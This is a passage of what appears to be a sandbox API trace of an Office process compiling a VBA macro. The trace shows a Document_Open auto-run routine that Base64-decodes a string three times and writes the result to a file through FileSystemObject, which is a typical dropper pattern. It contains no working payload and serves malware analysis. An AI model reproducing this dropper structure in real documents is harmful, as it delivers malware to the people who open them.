cchWideChar=4 | out: lpWideCharStr="&H4") returned 4 [0053.166] VarI4FromStr (in: strIn="&H4", lcid=0x409, dwFlags=0x80000000, plOut=0x7fee4b6ea10 | out: plOut=0x7fee4b6ea10) returned 0x0 [0053.166] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="buf") returned 0x107ac7 [0053.166] atoi (_Str="1") returned 1 [0053.166] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="And") returned 0x107469 [0053.167] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fee4b6eba0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0053.167] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fee4b6eba0, cbMultiByte=-1, lpWideCharStr=0x66dc438, cchWideChar=5 | out: lpWideCharStr="&H30") returned 5 [0053.167] VarI4FromStr (in: strIn="&H30", lcid=0x409, dwFlags=0x80000000, plOut=0x7fee4b6ea10 | out: plOut=0x7fee4b6ea10) returned 0x0 [0053.167] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fee4b6eba0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0053.167] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fee4b6eba0, cbMultiByte=-1, lpWideCharStr=0x66dc438, cchWideChar=5 | out: lpWideCharStr="&H10") returned 5 [0053.167] VarI4FromStr (in: strIn="&H10", lcid=0x409, dwFlags=0x80000000, plOut=0x7fee4b6ea10 | out: plOut=0x7fee4b6ea10) returned 0x0 [0053.167] IMalloc:Realloc (This=0x7feffc15380, pv=0x6910200, cb=0x400) returned 0x291f90 [0053.167] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="OutStr") returned 0x1008fe [0053.167] strcpy_s (in: _Dst=0x7fee4b6efc0, _DstSize=0x100, _Src="OutStr" | out: _Dst="OutStr") returned 0x0 [0053.167] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="i") returned 0x101060 [0053.167] atoi (_Str="1") returned 1 [0053.167] atoi (_Str="4") returned 4 [0053.167] atoi (_Str="3") returned 3 [0053.167] atoi (_Str="1") returned 1 [0053.167] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="buf") returned 0x107ac7 [0053.167] atoi (_Str="1") returned 1 [0053.168] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="And") returned 0x107469 [0053.168] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fee4b6eba0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0053.168] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fee4b6eba0, cbMultiByte=-1, lpWideCharStr=0x66dc438, cchWideChar=4 | out: lpWideCharStr="&HF") returned 4 [0053.168] VarI4FromStr (in: strIn="&HF", lcid=0x409, dwFlags=0x80000000, plOut=0x7fee4b6ea10 | out: plOut=0x7fee4b6ea10) returned 0x0 [0053.168] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fee4b6eba0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0053.168] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fee4b6eba0, cbMultiByte=-1, lpWideCharStr=0x66dc438, cchWideChar=5 | out: lpWideCharStr="&H10") returned 5 [0053.168] VarI4FromStr (in: strIn="&H10", lcid=0x409, dwFlags=0x80000000, plOut=0x7fee4b6ea10 | out: plOut=0x7fee4b6ea10) returned 0x0 [0053.168] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="buf") returned 0x107ac7 [0053.168] atoi (_Str="2") returned 2 [0053.168] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="And") returned 0x107469 [0053.168] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fee4b6eba0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0053.168] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fee4b6eba0, cbMultiByte=-1, lpWideCharStr=0x66dc438, cchWideChar=5 | out: lpWideCharStr="&H3C") returned 5 [0053.168] VarI4FromStr (in: strIn="&H3C", lcid=0x409, dwFlags=0x80000000, plOut=0x7fee4b6ea10 | out: plOut=0x7fee4b6ea10) returned 0x0 [0053.168] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fee4b6eba0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0053.168] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fee4b6eba0, cbMultiByte=-1, lpWideCharStr=0x66dc438, cchWideChar=4 | out: lpWideCharStr="&H4") returned 4 [0053.168] VarI4FromStr (in: strIn="&H4", lcid=0x409, dwFlags=0x80000000, plOut=0x7fee4b6ea10 | out: plOut=0x7fee4b6ea10) returned 0x0 [0053.168] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="OutStr") returned 0x1008fe [0053.168] strcpy_s (in: _Dst=0x7fee4b6efc0, _DstSize=0x100, _Src="OutStr" | out: _Dst="OutStr") returned 0x0 [0053.168] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="i") returned 0x101060 [0053.168] atoi (_Str="1") returned 1 [0053.168] atoi (_Str="4") returned 4 [0053.168] atoi (_Str="3") returned 3 [0053.168] atoi (_Str="2") returned 2 [0053.168] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="buf") returned 0x107ac7 [0053.169] atoi (_Str="2") returned 2 [0053.169] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="And") returned 0x107469 [0053.169] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fee4b6eba0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0053.169] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fee4b6eba0, cbMultiByte=-1, lpWideCharStr=0x66dc438, cchWideChar=4 | out: lpWideCharStr="&H3") returned 4 [0053.169] VarI4FromStr (in: strIn="&H3", lcid=0x409, dwFlags=0x80000000, plOut=0x7fee4b6ea10 | out: plOut=0x7fee4b6ea10) returned 0x0 [0053.169] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fee4b6eba0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0053.169] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fee4b6eba0, cbMultiByte=-1, lpWideCharStr=0x66dc438, cchWideChar=5 | out: lpWideCharStr="&H40") returned 5 [0053.169] VarI4FromStr (in: strIn="&H40", lcid=0x409, dwFlags=0x80000000, plOut=0x7fee4b6ea10 | out: plOut=0x7fee4b6ea10) returned 0x0 [0053.169] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="buf") returned 0x107ac7 [0053.169] atoi (_Str="3") returned 3 [0053.169] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Next") returned 0x1009bb [0053.169] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="If") returned 0x105da8 [0053.169] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="mods") returned 0x1076b2 [0053.169] strcpy_s (in: _Dst=0x7fee4b6ea60, _DstSize=0x100, _Src="mods" | out: _Dst="mods") returned 0x0 [0053.169] atoi (_Str="2") returned 2 [0053.169] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Then") returned 0x10b933 [0053.169] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="OutStr") returned 0x1008fe [0053.169] strcpy_s (in: _Dst=0x7fee4b6efc0, _DstSize=0x100, _Src="OutStr" | out: _Dst="OutStr") returned 0x0 [0053.169] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="length") returned 0x10c459 [0053.169] atoi (_Str="4") returned 4 [0053.170] atoi (_Str="3") returned 3 [0053.170] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InStr") returned 0x10120e [0053.170] atoi (_Str="1") returned 1 [0053.170] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="B64_CHAR_DICT") returned 0x10d52a [0053.170] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0053.170] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="B64") returned 0x10763a [0053.170] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="length") returned 0x10c459 [0053.170] atoi (_Str="1") returned 1 [0053.170] atoi (_Str="1") returned 1 [0053.170] atoi (_Str="1") returned 1 [0053.170] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fee4b6eba0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0053.170] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fee4b6eba0, cbMultiByte=-1, lpWideCharStr=0x66dc438, cchWideChar=4 | out: lpWideCharStr="&H4") returned 4 [0053.170] VarI4FromStr (in: strIn="&H4", lcid=0x409, dwFlags=0x80000000, plOut=0x7fee4b6ea10 | out: plOut=0x7fee4b6ea10) returned 0x0 [0053.170] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InStr") returned 0x10120e [0053.170] atoi (_Str="1") returned 1 [0053.170] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="B64_CHAR_DICT") returned 0x10d52a [0053.170] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0053.170] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="B64") returned 0x10763a [0053.170] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="length") returned 0x10c459 [0053.170] atoi (_Str="2") returned 2 [0053.170] atoi (_Str="1") returned 1 [0053.170] atoi (_Str="1") returned 1 [0053.170] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="And") returned 0x107469 [0053.170] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fee4b6eba0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0053.170] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fee4b6eba0, cbMultiByte=-1, lpWideCharStr=0x66dc438, cchWideChar=5 | out: lpWideCharStr="&H30") returned 5 [0053.170] VarI4FromStr (in: strIn="&H30", lcid=0x409, dwFlags=0x80000000, plOut=0x7fee4b6ea10 | out: plOut=0x7fee4b6ea10) returned 0x0 [0053.170] atoi (_Str="16") returned 16 [0053.171] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ElseIf") returned 0x10f307 [0053.171] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="mods") returned 0x1076b2 [0053.171] strcpy_s (in: _Dst=0x7fee4b6ea60, _DstSize=0x100, _Src="mods" | out: _Dst="mods") returned 0x0 [0053.171] atoi (_Str="3") returned 3 [0053.171] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Then") returned 0x10b933 [0053.171] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="OutStr") returned 0x1008fe [0053.171] strcpy_s (in: _Dst=0x7fee4b6efc0, _DstSize=0x100, _Src="OutStr" | out: _Dst="OutStr") returned 0x0 [0053.171] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="length") returned 0x10c459 [0053.171] atoi (_Str="4") returned 4 [0053.171] atoi (_Str="3") returned 3 [0053.171] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InStr") returned 0x10120e [0053.171] atoi (_Str="1") returned 1 [0053.171] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="B64_CHAR_DICT") returned 0x10d52a [0053.171] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0053.171] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="B64") returned 0x10763a [0053.171] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="length") returned 0x10c459 [0053.171] atoi (_Str="1") returned 1 [0053.171] atoi (_Str="1") returned 1 [0053.171] atoi (_Str="1") returned 1 [0053.171] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fee4b6eba0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0053.171] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fee4b6eba0, cbMultiByte=-1, lpWideCharStr=0x66dc438, cchWideChar=4 | out: lpWideCharStr="&H4") returned 4 [0053.171] VarI4FromStr (in: strIn="&H4", lcid=0x409, dwFlags=0x80000000, plOut=0x7fee4b6ea10 | out: plOut=0x7fee4b6ea10) returned 0x0 [0053.171] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InStr") returned 0x10120e [0053.171] atoi (_Str="1") returned 1 [0053.171] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="B64_CHAR_DICT") returned 0x10d52a [0053.171] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0053.171] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="B64") returned 0x10763a [0053.171] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="length") returned 0x10c459 [0053.171] atoi (_Str="2") returned 2 [0053.171] atoi (_Str="1") returned 1 [0053.172] atoi (_Str="1") returned 1 [0053.172] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="And") returned 0x107469 [0053.172] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fee4b6eba0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0053.172] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fee4b6eba0, cbMultiByte=-1, lpWideCharStr=0x66dc438, cchWideChar=5 | out: lpWideCharStr="&H30") returned 5 [0053.172] VarI4FromStr (in: strIn="&H30", lcid=0x409, dwFlags=0x80000000, plOut=0x7fee4b6ea10 | out: plOut=0x7fee4b6ea10) returned 0x0 [0053.172] atoi (_Str="16") returned 16 [0053.172] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="OutStr") returned 0x1008fe [0053.172] strcpy_s (in: _Dst=0x7fee4b6efc0, _DstSize=0x100, _Src="OutStr" | out: _Dst="OutStr") returned 0x0 [0053.172] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="length") returned 0x10c459 [0053.172] atoi (_Str="4") returned 4 [0053.172] atoi (_Str="3") returned 3 [0053.172] atoi (_Str="1") returned 1 [0053.172] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InStr") returned 0x10120e [0053.172] atoi (_Str="1") returned 1 [0053.172] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="B64_CHAR_DICT") returned 0x10d52a [0053.172] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0053.172] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="B64") returned 0x10763a [0053.172] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="length") returned 0x10c459 [0053.172] atoi (_Str="2") returned 2 [0053.172] atoi (_Str="1") returned 1 [0053.172] atoi (_Str="1") returned 1 [0053.172] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="And") returned 0x107469 [0053.172] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fee4b6eba0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0053.172] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fee4b6eba0, cbMultiByte=-1, lpWideCharStr=0x66dc438, cchWideChar=4 | out: lpWideCharStr="&HF") returned 4 [0053.172] VarI4FromStr (in: strIn="&HF", lcid=0x409, dwFlags=0x80000000, plOut=0x7fee4b6ea10 | out: plOut=0x7fee4b6ea10) returned 0x0 [0053.172] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fee4b6eba0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0053.172] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fee4b6eba0, cbMultiByte=-1, lpWideCharStr=0x66dc438, cchWideChar=5 | out: lpWideCharStr="&H10") returned 5 [0053.173] VarI4FromStr (in: strIn="&H10", lcid=0x409, dwFlags=0x80000000, plOut=0x7fee4b6ea10 | out: plOut=0x7fee4b6ea10) returned 0x0 [0053.173] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="InStr") returned 0x10120e [0053.173] atoi (_Str="1") returned 1 [0053.173] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="B64_CHAR_DICT") returned 0x10d52a [0053.173] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mid") returned 0x10b3dc [0053.173] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="B64") returned 0x10763a [0053.173] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="length") returned 0x10c459 [0053.173] atoi (_Str="3") returned 3 [0053.173] atoi (_Str="1") returned 1 [0053.173] atoi (_Str="1") returned 1 [0053.173] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="And") returned 0x107469 [0053.173] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fee4b6eba0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0053.173] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fee4b6eba0, cbMultiByte=-1, lpWideCharStr=0x66dc438, cchWideChar=5 | out: lpWideCharStr="&H3C") returned 5 [0053.173] VarI4FromStr (in: strIn="&H3C", lcid=0x409, dwFlags=0x80000000, plOut=0x7fee4b6ea10 | out: plOut=0x7fee4b6ea10) returned 0x0 [0053.173] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fee4b6eba0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0053.173] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7fee4b6eba0, cbMultiByte=-1, lpWideCharStr=0x66dc438, cchWideChar=4 | out: lpWideCharStr="&H4") returned 4 [0053.173] VarI4FromStr (in: strIn="&H4", lcid=0x409, dwFlags=0x80000000, plOut=0x7fee4b6ea10 | out: plOut=0x7fee4b6ea10) returned 0x0 [0053.173] IMalloc:Realloc (This=0x7feffc15380, pv=0x291f90, cb=0x800) returned 0x6444e30 [0053.173] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0053.173] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="If") returned 0x105da8 [0053.173] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="For") returned 0x108f59 [0053.174] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="i") returned 0x101060 [0053.174] strcpy_s (in: _Dst=0x7fee4b6ea60, _DstSize=0x100, _Src="i" | out: _Dst="i") returned 0x0 [0053.174] atoi (_Str="0") returned 0 [0053.174] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="To") returned 0x105f48 [0053.174] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="UBound") returned 0x10ea71 [0053.174] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="OutStr") returned 0x1008fe [0053.174] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Base64Decode") returned 0x104067 [0053.174] strcpy_s (in: _Dst=0x7fee4b6efc0, _DstSize=0x100, _Src="Base64Decode" | out: _Dst="Base64Decode") returned 0x0 [0053.174] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Base64Decode") returned 0x104067 [0053.174] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Chr") returned 0x107e4b [0053.174] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="OutStr") returned 0x1008fe [0053.174] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="i") returned 0x101060 [0053.175] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Next") returned 0x1009bb [0053.175] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="i") returned 0x101060 [0053.175] strcpy_s (in: _Dst=0x7fee4b6ea60, _DstSize=0x100, _Src="i" | out: _Dst="i") returned 0x0 [0053.175] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="over") returned 0x102781 [0053.175] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="End") returned 0x1089cd [0053.175] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Function") returned 0x107810 [0053.175] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Private") returned 0x1073c3 [0053.175] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sub") returned 0x10d5ac [0053.175] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document_Open") returned 0x1089c1 [0053.175] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3c02d3a, cbMultiByte=13, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0053.175] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3c02d3a, cbMultiByte=13, lpWideCharStr=0x4362588, cchWideChar=13 | out: lpWideCharStr="Document_Open") returned 13 [0053.175] IMalloc:Realloc (This=0x7feffc15380, pv=0x690fbd0, cb=0x400) returned 0x291f90 [0053.175] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dim") returned 0x1083c4 [0053.175] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="strBs0") returned 0x10eb9c [0053.175] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d [0053.175] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String") returned 0x10102a [0053.176] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dim") returned 0x1083c4 [0053.176] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="strBs1") returned 0x10eb9d [0053.176] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d [0053.176] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String") returned 0x10102a [0053.176] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dim") returned 0x1083c4 [0053.176] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="strBs2") returned 0x10eb9e [0053.176] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d [0053.176] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String") returned 0x10102a [0053.176] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dim") returned 0x1083c4 [0053.176] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="strBs3") returned 0x10eb9f [0053.176] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d [0053.176] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="String") returned 0x10102a [0053.177] CExposedStream::Read () returned 0x0 [0053.177] CExposedStream::Read () returned 0x0 [0053.177] IMalloc:Realloc (This=0x7feffc15380, pv=0x6444620, cb=0x2800) returned 0x6a94c80 [0053.178] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="strBs0") returned 0x10eb9c [0053.178] strcpy_s (in: _Dst=0x7fee4b6efc0, _DstSize=0x100, _Src="strBs0" | out: _Dst="strBs0") returned 0x0 [0053.268] longjmp () [0053.277] IMalloc:Realloc (This=0x7feffc15380, pv=0x421bd60, cb=0x3c00) returned 0x6a97490 [0053.278] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="strBs0") returned 0x10eb9c [0053.278] strcpy_s (in: _Dst=0x7fee4b6efc0, _DstSize=0x100, _Src="strBs0" | out: _Dst="strBs0") returned 0x0 [0053.278] IMalloc:Realloc (This=0x7feffc15380, pv=0x6444e30, cb=0x1818) returned 0x6a9b0a0 [0053.278] IMalloc:Realloc (This=0x7feffc15380, pv=0x6a97490, cb=0x404) returned 0x6a97490 [0053.278] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="strBs1") returned 0x10eb9d [0053.278] strcpy_s (in: _Dst=0x7fee4b6efc0, _DstSize=0x100, _Src="strBs1" | out: _Dst="strBs1") returned 0x0 [0053.278] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Base64Decode") returned 0x104067 [0053.278] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="strBs0") returned 0x10eb9c [0053.278] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="strBs2") returned 0x10eb9e [0053.278] strcpy_s (in: _Dst=0x7fee4b6efc0, _DstSize=0x100, _Src="strBs2" | out: _Dst="strBs2") returned 0x0 [0053.278] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Base64Decode") returned 0x104067 [0053.278] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="strBs1") returned 0x10eb9d [0053.278] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="strBs3") returned 0x10eb9f [0053.278] strcpy_s (in: _Dst=0x7fee4b6efc0, _DstSize=0x100, _Src="strBs3" | out: _Dst="strBs3") returned 0x0 [0053.278] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Base64Decode") returned 0x104067 [0053.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="strBs2") returned 0x10eb9e [0053.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Debug") returned 0x10eaee [0053.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Print") returned 0x10f00d [0053.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="strBs3") returned 0x10eb9f [0053.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dim") returned 0x1083c4 [0053.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="fso") returned 0x108fea [0053.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d [0053.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Object") returned 0x102ec1 [0053.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Set") returned 0x10d36e [0053.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="fso") returned 0x108fea [0053.279] strcpy_s (in: _Dst=0x7fee4b6ea60, _DstSize=0x100, _Src="fso" | out: _Dst="fso") returned 0x0 [0053.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CreateObject") returned 0x108af8 [0053.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dim") returned 0x1083c4 [0053.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Fileout") returned 0x102938 [0053.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d [0053.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Object") returned 0x102ec1 [0053.279] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Set") returned 0x10d36e [0053.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Fileout") returned 0x102938 [0053.280] strcpy_s (in: _Dst=0x7fee4b6ea60, _DstSize=0x100, _Src="Fileout" | out: _Dst="Fileout") returned 0x0 [0053.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="fso") returned 0x108fea [0053.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CreateTextFile") returned 0x10bd86 [0053.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4 [0053.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="True") returned 0x10f0f4 [0053.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Fileout") returned 0x102938 [0053.280] strcpy_s (in: _Dst=0x7fee4b6efc0, _DstSize=0x100, _Src="Fileout" | out: _Dst="Fileout") returned 0x0 [0053.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Write") returned 0x105c2e [0053.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="strBs3") returned 0x10eb9f [0053.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Fileout") returned 0x102938 [0053.280] strcpy_s (in: _Dst=0x7fee4b6efc0, _DstSize=0x100, _Src="Fileout" | out: _Dst="Fileout") returned 0x0 [0053.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Close") returned 0x1005ab [0053.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Dim") returned 0x1083c4 [0053.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="dp") returned 0x105cf9 [0053.280] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="As") returned 0x105c8d [0053.280] LHashValOfNameSysA 